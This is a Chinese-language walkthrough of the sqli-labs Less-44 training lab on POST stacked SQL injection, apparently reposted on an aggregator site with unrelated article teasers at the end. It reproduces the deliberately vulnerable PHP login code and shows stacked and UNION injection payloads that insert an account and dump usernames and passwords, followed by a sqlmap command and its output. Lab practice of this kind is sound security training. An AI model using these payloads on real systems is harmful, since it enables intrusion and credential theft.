sqli-labs通關筆記-第44關 POST字符型堆疊注入(單引號閉合 手工注入+腳本注入3種方法)

目錄

一、堆疊注入

二、源碼分析

1、代碼審計

2、SQL注入安全性分析

三、堆疊手注法

1、進入靶場

2、正確用戶名密碼登錄

3、堆疊注入

4、查看數據庫

四、聯合手注法

1、獲取列數

2、確認回顯位

3、獲取數據庫名

4、獲取表名

5、獲取列名

6、獲取字段?

7、總結

五、sqlmap滲透實戰


SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節使用堆疊手注、聯合手注法、腳本法共3種方法對第44關Less 44基于POST字符型的堆疊注入關卡進行滲透實戰。??

一、堆疊注入

堆疊注入是一種特殊的SQL注入技術,攻擊者通過在原始查詢后添加分號(;),然后拼接額外的SQL語句實現多語句執行。與普通注入不同,堆疊注入允許攻擊者一次執行多個完全獨立的SQL命令,從而極大擴展了攻擊面。這種技術的關鍵在于數據庫服務器支持多語句執行,例如MySQL的mysqli_multi_query()函數或SQL Server的默認配置都允許這種操作。

分類說明
技術名稱堆疊注入(Stacked Injection)
核心原理通過在原始SQL查詢后添加分號(;)拼接額外SQL語句,實現多語句連續執行。
攻擊示例SELECT * FROM users WHERE id=1; DROP TABLE users--
關鍵依賴數據庫服務器需支持多語句執行(如MySQL的mysqli_multi_query())。
典型危害數據刪除(DELETE)、表結構修改(ALTER)、權限提升(GRANT)等。
高危操作執行任意數據庫命令,遠超普通注入的數據泄露范圍。
常見支持場景SQL Server(默認支持)、MySQL(需特定驅動如PDO/mysqli啟用多語句功能)。
不支持場景PHP的mysql_query()函數(默認禁用多語句)。
防御措施1. 禁用多語句執行功能
2. 嚴格使用參數化查詢
3. 實施最小權限原則。
技術優勢可突破單語句限制,實現更復雜的數據庫操作。
檢測難度較普通注入更難檢測,需監控異常分號和多語句執行行為。

二、源碼分析

1、代碼審計

本關卡Less44是基于POST字符型的堆疊注入關卡,如下所示。

Less45關卡的login源碼功能是簡單基于用戶名和密碼的登錄頁面,與44關的區別在于SQL語句中參數的字符閉合方式不同,對比如下所示。

  • 當 mysqli_store_result() 函數調用失敗時,42關調用報錯函數,43關不打印數據庫報錯。
  • 當?mysqli_multi_query()?執行失敗時,42關調用報錯函數,43關不打印數據庫報錯。

詳細注釋過的login.php源碼如下所示。

<?php
session_start(); // 開啟會話管理
include("../sql-connections/db-creds.inc"); // 加載數據庫配置/*** 用戶登錄驗證函數* @param string $host 數據庫地址* @param string $dbuser 數據庫用戶名* @param string $dbpass 數據庫密碼  * @param string $dbname 數據庫名* @return string|int 成功返回用戶名,失敗返回0*/
function sqllogin($host,$dbuser,$dbpass, $dbname){// 建立數據庫連接$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);// 獲取并轉義用戶輸入$username = mysqli_real_escape_string($con1, $_POST["login_user"]); // 用戶名轉義$password = $_POST["login_password"]; // 密碼未轉義(安全風險)// 連接檢查if(mysqli_connect_errno($con1)) {echo "Failed to connect to MySQL: " . mysqli_connect_error();} else {@mysqli_select_db($con1, $dbname) or die("Database connection failed");}// 構造SQL查詢(存在注入風險)$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";// 執行多語句查詢(高危)if(@mysqli_multi_query($con1, $sql)) {// 處理查詢結果if($result = @mysqli_store_result($con1)) {if($row = @mysqli_fetch_row($result)) {return $row[1] ? $row[1] : 0; // 返回用戶名或0}} else {// 顯示錯誤詳情(不安全)echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }} else {// 查詢錯誤處理echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }
}// 執行登錄驗證
$login = sqllogin($host,$dbuser,$dbpass, $dbname);if(!$login == 0) { // 登錄成功$_SESSION["username"] = $login; // 存儲會話setcookie("Auth", 1, time()+3600); // 設置1小時有效cookieheader('Location: logged-in.php'); // 跳轉
} else { // 登錄失敗
?><!-- 失敗提示 --><tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;"><center><img src="../images/slap1.jpg"> <!-- 錯誤圖片 --></center></p></td></tr>
<?php } ?>
</body>
</html>

本關卡實現了一個簡單的用戶登錄系統,但存在堆疊SQL注入的風險。系統通過表單接收用戶名和密碼,然后查詢數據庫進行驗證,登錄成功后設置會話cookie并跳轉頁面,失敗則顯示錯誤圖片。系統在登錄成功后,會將用戶名存入session并設置一個簡單的認證cookie。

  • 前端展示:黑色背景、黃色文字的簡單界面,含首頁鏈接

  • 會話啟動session_start()初始化會話

  • 數據庫連接:加載配置并建立MySQL連接

  • 輸入處理:用戶名經過mysqli_real_escape_string轉義,密碼直接使用原始輸入(高危)

  • 認證查詢:拼接SQL查詢用戶憑證

  • 結果處理

    • 成功:存儲會話、設置cookie并跳轉

    • 失敗:顯示錯誤圖片,不再打印數據庫報錯函數,說明無法使用報錯法注入

2、SQL注入安全性分析

很明顯本關卡存在堆疊查詢(Stacked Query)SQL注入風險,主要的安全問題在于通過POST傳入了兩個參數,分別為用戶名和密碼。不過代碼僅對用戶名參數使用了mysqli_real_escape_string轉義過濾,而對密碼字段沒有進行任何過濾處理,直接拼接到SQL語句中導致存在SQL注入風險。因此攻擊者可以通過構造特殊密碼來繞過認證或執行惡意SQL命令。此外,代碼使用了支持多語句查詢的mysqli_multi_query函數,進一步增加了堆疊注入的風險。具體如下所示。

  • 堆疊注入存在根源

    • 使用mysqli_multi_query()函數執行SQL查詢。

    • 未對用戶輸入的$password進行任何過濾或轉義。

  • 堆疊注入利用方式

    • 通過分號(;)分隔可以執行多條SQL語句。

    • 攻擊者可執行任意SQL命令:SELECT...; INSERT...; UPDATE...; DROP...等。

    • 支持所有數據庫操作,不僅僅是數據查詢。

    • 閉合方式為單引號括號。

三、堆疊手注法

1、進入靶場

進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。

http://192.168.59.1/sqli-labs/

點擊進入Page3堆疊注入,如下圖紅框所示。?

其中第44關在堆疊挑戰關卡“SQLi-LABS Page-3 (Stacked Injections)”中,?點擊進入如下頁面。

http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap

點擊上圖紅框的Less44關卡,進入到靶場的第44關卡字符型堆疊注入關卡,頁面顯示登錄框,需要輸入用戶名和密碼,具體如下所示。

http://192.168.59.1/sqli-labs/Less-44

2、正確用戶名密碼登錄

輸入用戶名admin,密碼mooyuan123456,效果如下所示。

查看元素-網絡,此時點擊登錄后提示進入登錄成功,當前用戶為admin,此時進入了修改密碼的頁面,具體如下圖所示。

此時發現登錄過程中產生兩個報文,第一個是登錄的POST報文,參數分別為用戶名和密碼,效果如下所示。

此時注意登錄報文POST參數內容如下所示。

login_user=admin&login_password=mooyuan123456&mysubmit=Login

將報文發送到repeater模塊,右鍵將報文通過copy-to-file保存到sqli-labs44.txt。

第二個報文為logged-in.php,登錄成功會重定向到此頁面,如下所示。

此時點擊login_out退出登錄,如下所示。

點擊退出登錄后再次回到登錄頁面,如下所示?

3、堆疊注入

根據源碼分析可知本關卡具有堆疊注入安全風險,閉合方式為單引號,目標是通過堆疊注入命令插入一個新的用戶,id為44,用戶名為mooyuan_44,密碼為mooyuan,此時密碼內容如下所示。

mooyuan123456';insert into users(id,username,password) values ('44','mooyuan_44','mooyuan')#

輸入用戶名和密碼后的頁面如下所示。?

這時候用戶名設置為admin,點擊登錄后頁面顯示我們admin賬戶登錄成功,滲透成功。?

此時buipsuite中找到此POST報文,POST參數內容如下所示。

4、查看數據庫

使用navicat查看數據庫的users表,如下所示新增用戶id為44,用戶名為mooyuan_44,密碼為mooyuan,說明滲透成功。

四、聯合手注法

本關卡可以使用UNION聯合注入滲透,注入語句如下所示。

1、獲取列數

如下所示,order by為3時滲透成功,但是order by為4時提示列不存在,故而共有3列。

ORDER BY 3 成功 - 參數: mooyuan123456' ORDER BY 3-- 
ORDER BY 4 失敗 - 參數: mooyuan123456' ORDER BY 4--

在burpsuite的repeater模塊進行order by滲透,如下所示order by為3時滲透成功。

接下來嘗試order by為4滲透,如下所示order by為4時滲透失敗。?

2、確認回顯位

Payload: admin' UNION SELECT 1,2,3-- 

如下所示,回顯位為2,接下來我們使用第2個回顯位進行滲透。?

3、獲取數據庫名

如下所示,數據庫的名稱為“security”。

Payload: admin' UNION SELECT 1,DATABASE(),3-- 

4、獲取表名

如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。

Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- 

5、獲取列名

如下所示,數據庫users表的列名分別為id,username,password。

Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'-- 

6、獲取字段?

最后通過上一步獲取到的列名來提取users表的內容,如下所示滲透成功。

Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users-- 

7、總結

本關卡使用聯合注入法的完整手注語句如下所示。?

[+] 第一步:獲取最大列數
ORDER BY 3 成功 - 參數: mooyuan123456' ORDER BY 3-- 
ORDER BY 4 失敗 - 參數: mooyuan123456' ORDER BY 4--
[+] 確定最大列數: 3[+] 第二步:確認回顯
Payload: admin' UNION SELECT 1,2,3-- 
[+] 確定回顯位: 2[+] 第三步:獲取數據庫名
Payload: admin' UNION SELECT 1,DATABASE(),3-- 
[+] 獲取到數據庫名: security[+] 第四步:獲取數據庫security的所有數據庫表格tables
Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- 
[+] 獲取到數據庫所有表名: emails,referers,uagents,users[+] 第五步:獲取數據庫security的users表的所有列名
Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'-- 
[+] 獲取到users表的所有列名:id,username,password[+] 第六步:獲取數據庫security的users表的所有username和password
Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users-- 
[+] 獲取users表用戶名和密碼:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:mooyuan123456,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,admin'#mooyuan:123456,mooyuan_38:mooyuan,mooyuan_39:mooyuan,mooyuan_40:mooyuan,mooyuan_41:mooyuan,mooyuan_42:mooyuan,mooyuan_43:mooyuan,mooyuan_44:mooyuan

五、sqlmap滲透實戰

我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs44.txt  --current-db --dump --batch

其中sqli-labs44.txt中的注入點被修改為如下所示,特別注意此時在login_password參數后面增加*字符,標識login_password為注入點。

POST /sqli-labs/Less-44/login.php HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-44/
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60login_user=admin&login_password=mooyuan123456*&mysubmit=Login

sqlmap滲透成功,可以通過布爾盲注、時間盲注等方法滲透成功,具體信息如下所示。

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: login_user=admin&login_password=mooyuan123456' AND 2034=2034 AND 'obKi'='obKi&mysubmit=LoginType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: login_user=admin&login_password=mooyuan123456' AND (SELECT 3121 FROM (SELECT(SLEEP(5)))eTBt) AND 'peKL'='peKL&mysubmit=Login
---
[21:58:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[21:58:06] [INFO] fetching current database
[21:58:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:58:06] [INFO] retrieved: securityTable: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/93065.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/93065.shtml
英文地址,請注明出處:http://en.pswp.cn/web/93065.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從深度偽造到深度信任:AI安全的三場攻防戰

前言當大模型開始“睜眼”看世界&#xff0c;偽造者也開始“閉眼”造世界。2025 WAIC釋放出的信號很明確&#xff1a;沒有AI安全底座&#xff0c;就沒有產業智能化的高樓。WAIC 把“安全”擺在與“創新”同等重要的位置&#xff0c;形成了“1 份共識框架&#xff0b;2 份重磅報…

【C++】哈希的應用:位圖和布隆過濾器

目錄 一、位圖 1.1 位圖的概念 1.2 位圖的實現 1.3 位圖的應用 二、布隆過濾器 2.1 布隆過濾器的提出 2.2 布隆過濾器的概念 2.3 布隆過濾器的插入和查找 2.4 布隆過濾器的刪除 2.5 布隆過濾器的優點 2.6 布隆過濾器的缺點 一、位圖 1.1 位圖的概念 1. 面試題 給4…

C語言:指針(4)

1. 回調函數回調函數就是指通過函數指針調用的函數。如果將函數指針作為參數傳遞給另一個函數&#xff0c;另一個函數根據指針來調這個函數&#xff0c;那么被調用的函數就是回調函數。回調函數不是由這個函數的實現方直接調用&#xff0c;而是在特定的條件下由另一方調用的。例…

vue--video使用動態src時,視頻不更新

問題描述 在 Vue項目中&#xff0c;嘗試動態更新 標簽的 元素 src 屬性來切換視頻時&#xff0c;遇到了一個問題&#xff1a;即使 src 已更改&#xff0c;瀏覽器仍不顯示視頻。 <template><video width"100%" height"100%" controlspause"…

計算機視覺--opencv(代碼詳細教程)(一)

在計算機視覺的廣袤領域中&#xff0c;OpenCV 是一座極為關鍵的里程碑。無論是在前沿的學術研究&#xff0c;還是在蓬勃發展的工業界&#xff0c;OpenCV 憑借其強大的功能與高效的性能&#xff0c;為開發者提供了豐富的圖像處理和計算機視覺算法&#xff0c;助力無數項目落地。…

物聯網通訊協議-MQTT、Modbus、OPC

引言在物聯網迅速發展的今天&#xff0c;設備間的通信協議扮演著至關重要的角色。它們是不同設備、系統之間實現數據交換的橋梁。本文將詳細介紹三種在物聯網領域廣泛應用的通訊協議——MQTT、Modbus和OPC&#xff0c;包括它們的基礎概念、特點及在C#中的實現方法。一、MQTT協議…

牛客周賽R104 小紅的矩陣不動點

D-小紅的矩陣不動點_牛客周賽 Round 104 賽時這道題卡了一段時間&#xff0c;賽時代碼如下&#xff1a; #include<bits/stdc.h> using namespace std; int ans,h; int a[505][505]; signed main(){ios::sync_with_stdio(false),cin.tie(0),cout.tie(0);int n,m;cin>…

Rust面試題及詳細答案120道(19-26)-- 所有權與借用

《前后端面試題》專欄集合了前后端各個知識模塊的面試題&#xff0c;包括html&#xff0c;javascript&#xff0c;css&#xff0c;vue&#xff0c;react&#xff0c;java&#xff0c;Openlayers&#xff0c;leaflet&#xff0c;cesium&#xff0c;mapboxGL&#xff0c;threejs&…

Jenkins + SonarQube 從原理到實戰三:SonarQube 打通 Windows AD(LDAP)認證與踩坑記錄

前言 在前兩篇文章中&#xff0c;已經介紹了 SonarQube 的部署 以及 通過 sonar-cxx 插件實現 C/C 代碼掃描。 本篇將重點講 如何讓 SonarQube 對接 Windows AD&#xff08;LDAP&#xff09;&#xff0c;實現域賬號登錄和基于 AD 組的權限管理。 一、背景與需求分析 需求分析…

[AI React Web] 包與依賴管理 | `axios`庫 | `framer-motion`庫

第七章&#xff1a;包與依賴管理 在我們使用open-lovable的旅程中&#xff0c;已經探索了它如何管理對話狀態&#xff08;第一章&#xff1a;對話狀態管理&#xff09;、將創意轉化為可運行代碼&#xff08;第二章&#xff1a;AI代碼生成管道&#xff09;、如何在安全的虛擬環…

PanSou 一款開源網盤搜索項目,集成前后端,一鍵部署,開箱即用

PanSou 網盤搜索API PanSou是一個高性能的網盤資源搜索API服務&#xff0c;支持TG搜索和自定義插件搜索。系統設計以性能和可擴展性為核心&#xff0c;支持并發搜索、結果智能排序和網盤類型分類。 項目地址&#xff1a;https://github.com/fish2018/pansou 特性&#xff08…

java爬蟲實戰

本人目前在做魚皮的《智能協同云圖庫》&#xff0c;涉及到了以圖搜圖圖片爬取&#xff0c;雖然以前有爬過圖片&#xff0c;但是用的都是別人現成的代碼&#xff0c;不怎么去理解為什么要這樣做&#xff0c;這次有在嘗試理解每一個步驟。本人基礎極差&#xff0c;屬于一點基礎也…

深入詳解C語言的循環結構:while循環、do-while循環、for循環,結合實例,講透C語言的循環結構

&#x1f525;個人主頁&#xff1a;艾莉絲努力練劍 ?專欄傳送門&#xff1a;《C語言》、《數據結構與算法》、C語言刷題12天IO強訓、LeetCode代碼強化刷題、C/C干貨分享&學習過程記錄 &#x1f349;學習方向&#xff1a;C/C方向 ??人生格言&#xff1a;為天地立心&#…

北京-4年功能測試2年空窗-報培訓班學測開-第七十四天-線下面試-聊的很滿意但可能有風險-等信吧

今天沒去教室&#xff0c;因為下午有個線下面試。其實是可以去教室的&#xff0c;但我實在太焦慮了&#xff0c;我覺得去了教室我心情會更不好&#xff0c;什么都干不下去&#xff0c;所以我選擇不去早上依舊是帶著滿滿焦慮起來的&#xff0c;會覺得自己的一切都不令自己滿意&a…

在ubuntu服務器下安裝cuda和cudnn(筆記)

目錄 0 引言 1 相關環境查詢 2 安裝cuda 2.1 下載并安裝 2.2 安裝選項配置 2.3 驗證安裝 3 安裝cudnn 3.1 下載 3.2 解壓 3.3 刪除舊版本 cuDNN 3.4 復制新文件到 CUDA 目錄 3.5 設置文件權限 3.6 創建軟鏈接 3.7 驗證安裝 0 引言 我在使用服務器的cuda11.8的時…

docker安裝centos

docker庫地址https://hub.docker.com/ 嘗試使用centos7試了幾次超時 換了個版本就可以了 docker pull centos:centos7.9.2009有時候需要更新資源地址 可以使用 vim /etc/docker/daemon.json配置其他資源地址 {"registry-mirrors": ["http://hub-mirror.c.163…

內容索引之word轉md工具 - markitdown

切分文檔構建RAG庫過程中&#xff0c;langchain、llamaindex更期望處理latex、md類帶有顯式結構文檔。 langchain、llamaindex切分word&#xff0c;有可能將段落中間截斷&#xff0c;導致切分后的塊語義不完整。 所以&#xff0c;需要先將word轉化為md格式&#xff0c;然后再…

MaxKB+合合信息TextIn:通過API實現PDF掃描件的文檔審核

上海合合信息科技股份有限公司&#xff08;以下簡稱為合合信息&#xff09;是一家深耕人工智能、OCR&#xff08;光學字符識別&#xff09;及商業大數據技術領域的科技企業。該公司擁有領先的智能文字識別技術&#xff0c;其名片全能王&#xff08;CamCard&#xff09;、掃描全…

MyBatis 核心入門:從概念到實戰,一篇掌握簡單增刪改查

目錄 一、什么是 MyBatis&#xff1f;為什么要用它&#xff1f; 二、MyBatis 核心概念&#xff08;通俗理解&#xff09; 1.SqlSessionFactory 2.SqlSession 3.Mapper接口 4.映射文件&#xff08;XML&#xff09; 三、手把手搭建第一個 MyBatis 項目 1. 準備工作 2. 核心配置文…

數據結構初階(12)排序算法—插入排序(插入、希爾)(動圖演示)

2. 常見排序算法的實現2.0 十大排序算法2.1 插入排序 2.1.1 基本思想直接插入排序是一種簡單的插入排序法&#xff1a;基本思想把待排序的記錄按其關鍵碼值的大小逐個插入到一個已經排好序的有序序列中。直到所有的記錄插入完為止&#xff0c;得到一個新的有序序列 。 比 挪 (…